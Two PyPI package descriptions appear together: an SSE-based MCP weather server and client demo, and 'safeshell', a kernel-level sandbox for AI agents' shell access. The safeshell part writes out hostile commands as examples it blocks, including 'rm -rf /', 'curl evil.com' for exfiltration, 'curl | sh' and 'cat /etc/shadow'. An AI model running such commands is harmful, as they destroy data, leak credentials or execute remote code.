semvec/pypi-packages huggingface dataset:
iflow-mcp-sidharthrajaram-mcp-sse 0.1.1
SSE-based MCP Server and Client
Requires Python: >=3.11

# SSE-based Server and Client for [MCP](https://modelcontextprotocol.io/introduction)

[![smithery badge](https://smithery.ai/badge/@sidharthrajaram/mcp-sse)](https://smithery.ai/server/@sidharthrajaram/mcp-sse)

This demonstrates a working pattern for SSE-based MCP servers and standalone MCP clients that use tools from them. Based on an original discussion [here](https://github.com/modelcontextprotocol/python-sdk/issues/145).

## Usage

**Note**: Make sure to supply `ANTHROPIC_API_KEY` in `.env` or as an environment variable.

```
uv run weather.py

uv run client.py http://0.0.0.0:8080/sse
```

```
Initialized SSE client...
Listing tools...

Connected to server with tools: ['get_alerts', 'get_forecast']

MCP Client Started!
Type your queries or 'quit' to exit.

Query: whats the weather like in Spokane?

I can help you check the weather forecast for Spokane, Washington. I'll use the get_forecast function, but I'll need to use Spokane's latitude and longitude coordinates.

Spokane, WA is located at approximately 47.6587° N, 117.4260° W.
[Calling tool get_forecast with args {'latitude': 47.6587, 'longitude': -117.426}]
Based on the current forecast for Spokane:

Right now it's sunny and cold with a temperature of 37°F and ...
```

## Why?

This means the MCP server can now be some running process that agents (clients) connect to, use, and disconnect from whenever and wherever they want. In other words, an SSE-based server and clients can be decoupled processes (potentially even, on decoupled nodes). This is different and better fits "cloud-native" use-cases compared to the STDIO-based pattern where the client itself spawns the server as a subprocess.

### Installing via Smithery

To install SSE-based Server and Client for Claude Desktop automatically via [Smithery](https://smithery.ai/server/@sidharthrajaram/mcp-sse):

```bash
npx -y @smithery/cli install @sidharthrajaram/mcp-sse --client claude
```

### Server

`weather.py` is a SSE-based MCP server that presents some tools based on the National Weather Service APIs. Adapted from the MCP docs' [example STDIO server implementation.](https://modelcontextprotocol.io/quickstart/server)

By default, server runs on 0.0.0.0:8080, but is configurable with command line arguments like:

```
uv run weather.py --host <your host> --port <your port>
```

### Client

`client.py` is a MCP Client that connects to and uses tools from the SSE-based MCP server. Adapted from the MCP docs' [example STDIO client implementation.](https://modelcontextprotocol.io/quickstart/client)

By default, client connects to SSE endpoint provided in the command line argument like:

```
uv run client.py http://0.0.0.0:8080/sse
```
safeshell 1.0.1
Secure, sandboxed bash tool access for AI agents
Requires Python: >=3.11
Keywords: agent, ai, bash, langchain, pydantic-ai, sandbox, security

[![PyPI](https://img.shields.io/pypi/v/safeshell)](https://pypi.org/project/safeshell/)
[![Python](https://img.shields.io/pypi/pyversions/safeshell)](...)
[![CI](https://github.com/Khadka-Bishal/safeshell/actions/workflows/ci.yml/badge.svg)](https://github.com/Khadka-Bishal/safeshell/actions)
[![License](https://img.shields.io/github/license/Khadka-Bishal/safeshell)](.../LICENSE)
[![Coverage](https://img.shields.io/badge/coverage-100%25-green)](...)


**Secure, sandboxed shell for your AI agents.**

Every AI developer eventually faces the same problem: *How do I let my agent run code without destroying my machine?*

**safeshell** solves this with a robust security model (Seatbelt on macOS, Landlock on Linux) that enforces isolation at the kernel level.

```bash
pip install safeshell
```

## Quick Start

```python
from safeshell import Sandbox

async with Sandbox("./project") as sb:
    # works: execution is isolated
    result = await sb.execute("ls -la")
    
    # blocked: can't delete system files (Kernel blocked)
    await sb.execute("rm -rf /") 
    
    # blocked: can't exfiltrate data (Network blocked)
    await sb.execute("curl evil.com")
```

### AI Agent Integration

Safeshell comes with "batteries included" integrations for **LangChain** and **PydanticAI**.

### Example 1: LangChain (Native)

```python
from safeshell.integrations.langchain import ShellTool
from langchain.agents import AgentExecutor, create_tool_calling_agent

# Ready-to-use tool with safety defaults
tools = [ShellTool(cwd="./workspace")]

# Add to your agent
agent = create_tool_calling_agent(llm, tools, prompt)
```

### Example 2: PydanticAI (Native)

```python
from safeshell.integrations.pydantic_ai import create_shell_tool
from pydantic_ai import Agent

# Creates a typed tool function
shell_tool = create_shell_tool("./workspace")

agent = Agent(
    'openai:gpt-4',
    tools=[shell_tool],
    system_prompt="You are a coding assistant. Use the shell to run code.")
```

## Security Model

Older sandboxes try to block "bad words" like `rm -rf /` using Regex. This is dangerous and bypassable. As noted in [Sandboxing is a Networking Problem](https://www.joinformal.com/blog/using-proxies-to-hide-secrets-from-claude-code/), true security requires isolating the process at the OS and Network layer, not just filtering commands.

**Safeshell uses Kernel Enforcement.**

| Threat | Safeshell Protection | Mechanism |
|--------|----------------------|-----------|
| `rm -rf /` | **Blocked** | Kernel denies write access to `/` |
| `curl | sh` | **Blocked** | Network access denied by default |
| `cat /etc/shadow` | **Blocked** | Access blocked to sensitive paths |
| `> ~/.bashrc` | **Blocked** | Write denied outside workspace |